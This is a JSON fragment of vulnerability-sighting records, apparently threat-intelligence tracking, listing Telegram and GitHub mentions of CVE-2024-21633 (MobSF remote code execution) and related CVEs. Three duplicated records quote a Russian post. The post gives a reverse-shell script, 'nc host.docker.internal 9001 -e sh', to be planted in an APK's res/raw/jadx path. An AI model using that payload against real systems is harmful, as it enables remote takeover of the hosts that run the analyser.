"2024-01-12T23:36:36.000000Z"}, {"uuid": "d063fca0-b082-4be8-a99d-5d82f123d8ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21632", "type": "seen", "source": "https://t.me/ctinow/162097", "content": "https://ift.tt/urpbEgw\nCVE-2024-21632", "creation_timestamp": "2024-01-02T23:26:58.000000Z"}, {"uuid": "9d90e4e4-21c6-4f36-b5b6-53a7d7177d76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21634", "type": "seen", "source": "https://t.me/ctinow/162700", "content": "https://ift.tt/QO14lEM\nCVE-2024-21634", "creation_timestamp": "2024-01-04T00:32:14.000000Z"}, {"uuid": "889b1bb5-d351-459d-849c-922848820fe5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21637", "type": "seen", "source": "https://t.me/ctinow/166329", "content": "https://ift.tt/JncPMKt\nCVE-2024-21637", "creation_timestamp": "2024-01-11T07:31:57.000000Z"}, {"uuid": "fba4884d-e792-4cd8-9252-e266f92dfd24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "seen", "source": "https://t.me/ctinow/164238", "content": "https://ift.tt/hRBmIq9\nCVE-2024-21633 Exploit", "creation_timestamp": "2024-01-08T09:16:42.000000Z"}, {"uuid": "0ea86193-5280-4c78-b6f8-f372962d85f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21636", "type": "seen", "source": "https://t.me/ctinow/166064", "content": "https://ift.tt/4JYjhRq\nCVE-2024-21636 Exploit", "creation_timestamp": "2024-01-10T19:17:01.000000Z"}, {"uuid": "aa075e81-8904-4586-a3b0-f1e2c053345e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21632", "type": "seen", "source": "https://t.me/ctinow/165367", "content": "https://ift.tt/fpwINxl\nCVE-2024-21632 Exploit", "creation_timestamp": "2024-01-09T21:16:34.000000Z"}, {"uuid": "c367b498-9290-44c2-a392-98b0d88e2190", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21636", "type": "seen", "source": "https://t.me/ctinow/163238", "content": "https://ift.tt/pFcoZQk\nCVE-2024-21636", "creation_timestamp": "2024-01-04T21:26:18.000000Z"}, {"uuid": "ee84b30f-088f-4cc0-bb0f-34bdeccd7539", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/1962", "content": "https://www.qu35t.pw/posts/2024-21633-mobsf-rce/\nCVE-2024-21633 - MobSF\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\n#\u5206\u6790 #poc", "creation_timestamp": "2024-02-06T04:05:34.000000Z"}, {"uuid": "69422ce7-e5cb-4e73-940d-48819d86b9fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4167", "content": "CVE-2024-21633: MobSF Remote code execution (via CVE-2024-21633) https://github.com/0x33c0unt/CVE-2024-21633", "creation_timestamp": "2026-08-03T02:07:15.179564Z"}, {"uuid": "3e3368d7-8608-4d0f-ac91-f27858c91926", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "published-proof-of-concept", "source": "https://t.me/androidMalware/2144", "content": "MobSF Remote code execution (via CVE-2024-21633)\nhttps://github.com/0x33c0unt/CVE-2024-21633", "creation_timestamp": "2024-02-26T09:55:56.000000Z"}, {"uuid": "52f26ec6-24aa-4e48-9cc8-a25612287a68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/1812", "content": "https://github.com/0x33c0unt/CVE-2024-21633\n\nMobSF Remote code execution (via CVE-2024-21633)\n#github  #poc", "creation_timestamp": "2024-01-08T15:05:05.000000Z"}, {"uuid": "22a1c522-5ab0-4cd9-816e-9ada8a293081", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9750", "content": "#exploit\n1. CVE-2023-0461:\nLinux Kernel privilege escalation\nhttps://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs\n\n2. Apache ActiveMQ RCE\nhttps://y4er.com/posts/apache-activemq-rce\n\n3. CVE-2024-21633:\nMobSF RCE\nhttps://github.com/0x33c0unt/CVE-2024-21633", "creation_timestamp": "2024-01-08T20:40:06.000000Z"}, {"uuid": "b841cda7-449b-41b4-ba4e-42517ab4472b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/2447", "content": "#exploit\n1. CVE-2023-0461:\nLinux Kernel privilege escalation\nhttps://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs\n\n2. Apache ActiveMQ RCE\nhttps://y4er.com/posts/apache-activemq-rce\n\n3. CVE-2024-21633:\nMobSF RCE\nhttps://github.com/0x33c0unt/CVE-2024-21633", "creation_timestamp": "2024-08-16T09:01:19.000000Z"}, {"uuid": "6ecc8718-0ed6-447c-a6fb-b45ef454787d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4167", "content": "CVE-2024-21633: MobSF Remote code execution (via CVE-2024-21633) https://github.com/0x33c0unt/CVE-2024-21633", "creation_timestamp": "2026-08-02T10:20:32.783783Z"}, {"uuid": "25e2e2f8-fdc2-426c-8402-56ef521321d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-21635", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-mr34-8733-grr2", "content": "", "creation_timestamp": "2025-11-14T22:09:54.000000Z"}, {"uuid": "6a79d354-a389-4d05-8452-09a5081f8de9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "seen", "source": "https://t.me/securixy_kz/824", "content": "#CVE-2024-21633 - #MobSF Remote code execution (#RCE)\n\nMobSF - \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437\u0430\u0442\u043e\u0440 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439: Android, Apple iOS \u0438 Windows Phone \u0438 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437: \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f Android. \n\n\u041f\u0435\u0440\u0435\u0441\u043e\u0431\u0440\u0430\u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441 \u043d\u043e\u0447\u0438\u043d\u043a\u043e\u0439 \u0432 res/raw/jadx \u043a \u043f\u0440\u0438\u043c\u0435\u0440\u0443\u0442\u0430\u043a\u043e\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f: \n\n\n#!/bin/bash\nnc host.docker.internal 9001 -e sh\n\n\u041c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0435\u0432\u0435\u0440\u0441 \u0448\u0435\u043b\u043b \u0441 \u0445\u043e\u0441\u0442\u0430 \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0441\u0442\u043e\u0438\u0442 \u0430\u043d\u0430\u043b\u0438\u0437\u0430\u0442\u043e\u0440, \u0438\u0437-\u0437\u0430 \u0444\u0438\u0447\u0438 \u0441\u0430\u043c\u043e\u0433\u043e MobSF \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0447\u0442\u043e \u0443\u0433\u043e\u0434\u043d\u043e \u043f\u043e \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u0443\u0442\u0438 ${decode target path}/res/   \n\nhttps://www.qu35t.pw/posts/2024-21633-mobsf-rce/\n\nhttps://github.com/0x33c0unt/CVE-2024-21633", "creation_timestamp": "2026-07-12T22:00:12.722934Z"}, {"uuid": "5b46acd4-5890-4d3d-bcb9-23753ecf1383", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "seen", "source": "https://t.me/securixy_kz/824", "content": "#CVE-2024-21633 - #MobSF Remote code execution (#RCE)\n\nMobSF - \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437\u0430\u0442\u043e\u0440 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439: Android, Apple iOS \u0438 Windows Phone \u0438 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437: \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f Android. \n\n\u041f\u0435\u0440\u0435\u0441\u043e\u0431\u0440\u0430\u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441 \u043d\u043e\u0447\u0438\u043d\u043a\u043e\u0439 \u0432 res/raw/jadx \u043a \u043f\u0440\u0438\u043c\u0435\u0440\u0443\u0442\u0430\u043a\u043e\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f: \n\n\n#!/bin/bash\nnc host.docker.internal 9001 -e sh\n\n\u041c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0435\u0432\u0435\u0440\u0441 \u0448\u0435\u043b\u043b \u0441 \u0445\u043e\u0441\u0442\u0430 \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0441\u0442\u043e\u0438\u0442 \u0430\u043d\u0430\u043b\u0438\u0437\u0430\u0442\u043e\u0440, \u0438\u0437-\u0437\u0430 \u0444\u0438\u0447\u0438 \u0441\u0430\u043c\u043e\u0433\u043e MobSF \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0447\u0442\u043e \u0443\u0433\u043e\u0434\u043d\u043e \u043f\u043e \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u0443\u0442\u0438 ${decode target path}/res/   \n\nhttps://www.qu35t.pw/posts/2024-21633-mobsf-rce/\n\nhttps://github.com/0x33c0unt/CVE-2024-21633", "creation_timestamp": "2026-07-13T00:00:36.673659Z"}, {"uuid": "3474c04c-744a-404e-843d-3c630f47a779", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "published-proof-of-concept", "source": "https://t.me/securixy_kz/824", "content": "#CVE-2024-21633 - #MobSF Remote code execution (#RCE)\n\nMobSF - \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437\u0430\u0442\u043e\u0440 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439: Android, Apple iOS \u0438 Windows Phone \u0438 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437: \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f Android. \n\n\u041f\u0435\u0440\u0435\u0441\u043e\u0431\u0440\u0430\u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441 \u043d\u043e\u0447\u0438\u043d\u043a\u043e\u0439 \u0432 res/raw/jadx \u043a \u043f\u0440\u0438\u043c\u0435\u0440\u0443\u0442\u0430\u043a\u043e\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f: \n\n\n#!/bin/bash\nnc host.docker.internal 9001 -e sh\n\n\u041c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0435\u0432\u0435\u0440\u0441 \u0448\u0435\u043b\u043b \u0441 \u0445\u043e\u0441\u0442\u0430 \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0441\u0442\u043e\u0438\u0442 \u0430\u043d\u0430\u043b\u0438\u0437\u0430\u0442\u043e\u0440, \u0438\u0437-\u0437\u0430 \u0444\u0438\u0447\u0438 \u0441\u0430\u043c\u043e\u0433\u043e MobSF \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0447\u0442\u043e \u0443\u0433\u043e\u0434\u043d\u043e \u043f\u043e \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u0443\u0442\u0438 ${decode target path}/res/   \n\nhttps://www.qu35t.pw/posts/2024-21633-mobsf-rce/\n\nhttps://github.com/0x33c0unt/CVE-2024-21633", "creation_timestamp": "2026-07-14T00:00:56.794192Z"}, {"uuid": "3b5aa2ed-9bbe-4b1f-bf4a-2315d184ef98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "seen", "source": "https://t.me/cyberwarehouse/262", "content": "https://github.com/0x33c0unt/CVE-2024-21633", "creation_timestamp": "2026-07-17T11:00:06.556166Z"}, {"uuid": "cba36493-8244-49a4-aea0-36ce99ec00eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "published-proof-of-concept", "source": "https://t.me/cyberwarehouse/262", "content": "https://github.com/0x33c0unt/CVE-2024-21633", "creation_timestamp": "2026-07-18T00:00:29.112303Z"}, {"uuid": "a65108a3-ab44-440c-bd88-92d5f6b90e7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "seen", "source": "https://t.me/reverseame/4167", "content": "CVE-2024-21633: MobSF Remote code execution (via CVE-2024-21633) https://github.com/0x33c0unt/CVE-2024-21633", "creation_timestamp": "2026-07-29T12:02:20.393564Z"}, {"uuid": "9835b3b1-257f-4123-9aec-d46bb699d8d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "seen", "source": "https://t.me/reverseame/4167", "content": "CVE-2024-21633: MobSF Remote code execution (via CVE-2024-21633) https://github.com/0x33c0unt/CVE-2024-21633", "creation_timestamp": "2026-07-30T00:02:23.737550Z"}]}